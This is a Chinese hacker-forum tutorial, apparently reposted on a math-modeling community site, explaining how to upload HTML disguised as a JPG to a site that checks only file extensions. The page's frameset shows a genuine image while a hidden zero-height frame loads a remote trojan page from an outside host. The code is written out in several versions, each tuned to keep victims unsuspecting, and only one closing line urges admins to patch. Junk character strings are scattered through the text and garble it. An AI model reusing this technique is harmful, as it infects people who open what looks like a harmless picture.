作者:随爱飞翔 转自黑基bbs原创作品版
版权归黑客基地所有, 转载请注明出处
站内上传脚本图片欺骗式攻击 注释:这个漏洞适用于所有只检查上传文件格式的程序 测试过程: 其实很早前我就做过这个的教程 可能很少人看过 因为没发过 就是 " F% L5 q; i1 b 另外的一个动网跨站攻击 把图片改成HTML代码 上传后可执行 做转向 (其实很 + {: a& F/ _; c# W" Q; S9 t 多人都知道了) 发现的过程是在我今天无聊 看了一下某大黑客网站哦 BBS上# G& q5 _# \; m& Z# b$ [% z4 ^ ) b! N5 o$ F% I, O# |% h 做了过滤 上传失败 然后回到主页上 是动力系统 于是注册了一个帐号 然后到/ V$ Y5 r3 s9 ]8 Y- z; Z! X8 \ 个人管理里 看到添加文章里面 能上传 文件 于是 开始想利用的过程 我开始的7 [0 {8 |' C) F8 o- l; g 构思是 直接上传这样一个程序 。 但是 其实这样有很大一个漏洞 别人打开这 个JPG网页后 图片显示不出来 自然别人就会起疑心 想到了前段时间一个CHM网6 r4 @/ J! n% n# E8 C; `, B 3 X0 C% F z7 Q 页木马的制作 变相的利用它 其实应该能达到的 假如代码为3 J# Y6 X( j4 f3 b, Z' N/ R1 t <frameset rows="444,0" cols="*"> <frame src="index.htm" framborder="no" scrolling="auto" noresize 9 c9 A6 r# c, V8 E" x* I marginwidth="0" margingheight="0"> <frame src="cha.htm" frameborder="no" scrolling="no" noresize 0 t4 G6 A2 m7 T& O/ v0 D& A marginwidth="0" margingheight="0"> </frameset> 这样的一个index.htm 上传后发现失败 。 直接显示原代码 。。 于是在代4 U6 d! x- I/ m6 U l 码的开头结尾加了 <html>9 `: v$ u' T/ S' j <frameset rows="444,0" cols="*">6 Z' d; O3 U8 D% A% Q- i <frame src="index.htm" framborder="no" scrolling="auto" noresize 3 e7 r5 j0 C$ i/ D$ Y* T: T0 u! B marginwidth="0" margingheight="0"> <frame src="cha.htm" frameborder="no" scrolling="no" noresize : B0 i O8 k5 o3 C) j& | marginwidth="0" margingheight="0"> </frameset></html>1 G4 ~8 [$ r0 M8 _ 测试后页面已经成了一个木马页面 9 R9 @/ E' t$ p4 p6 h 但是这个木马一定要有个CHM的 人家网站不可能专门提供你上传这个类型的文件 3 [. D V0 V5 |9 y4 d3 J 于是想到远程的调用 后把index.jpg改为代码 <html>! n$ o' W/ O! _! |& l( z <frameset rows="444,0" cols="*"> <frame src="index.htm" framborder="no" scrolling="auto" noresize + g; i% d$ F) v( B8 @: s5 g ' V5 b4 S* ?- n! ~ i marginwidth="0" margingheight="0">& @' p1 q# M4 o7 u6 ] <frame src="http://www.xxx.com/cha.htm" frameborder="no" ( n G0 v* Z! X1 R2 q | scrolling="no" noresize marginwidth="0" margingheight="0"> </frameset></html>- |2 G% R5 P V6 } 上传后发现 防火墙成功提示病毒 但是 别人打开这个页面的时候直接是大红XX 3 Q( J6 D, s, e& _( D- [" A: p 是个有脑子的人都会怀疑的啊 于是想到把这个页面打开后看成一个图片 接着# k) O k/ U+ N' l) L 直接把上面的代码改成5 m/ Y, O; b$ F <html>. ?4 P! o' }' @. w <frameset rows="444,0" cols="*">5 n" Y4 x- O2 \ <frame src="/UpLoadFiles/NewsPhoto/omasuiai.jpg" framborder="no" # k o7 n3 \) b- I) X# q scrolling="auto" noresize marginwidth="0" margingheight="0">8 {/ Z$ V! T; o' f, B0 S }/ i <frame src="http://www.xxx.com/cha.htm" frameborder="no" 4 v% ]& q) a: k% [! e! I scrolling="no" noresize marginwidth="0" margingheight="0"> </frameset></html>: L9 c! d# B$ ^+ q- x 这样打开这个页面的时候正常显示图片 木马也能中了 前提是要把这个图片页面发给别人 例如 /UpLoadFiles/NewsPhoto/08aXXXXX.jpg 对方打开后还以为是看到了一张图片 其实他已经中木马了 再怎么说这个也是上) K% U' _! F& k. c 2 V, B3 ?& b* J; d: y% N I 传的图片 而且可能上传到自己的站里 不会有人怀疑的! k: L0 B) ]9 Q . i5 V! X' \3 w( \ H. ?, O0 [ 后记:同上也能在网页上做些其他更恶劣的事情 .. 偶就不举例子了 漏洞不大 . y; L* B5 @" X$ V" G& M - o" j. u6 k: ] n0 C1 H 利用价值广泛 各网站管理员开始补漏洞吧 呵呵。。。 感谢ICOOL大美女的帮助和测试 也能希望大家多交流 随爱飞翔 QQ :76112846
| 欢迎光临 数学建模社区-数学中国 (http://www.madio.net/) | Powered by Discuz! X2.5 |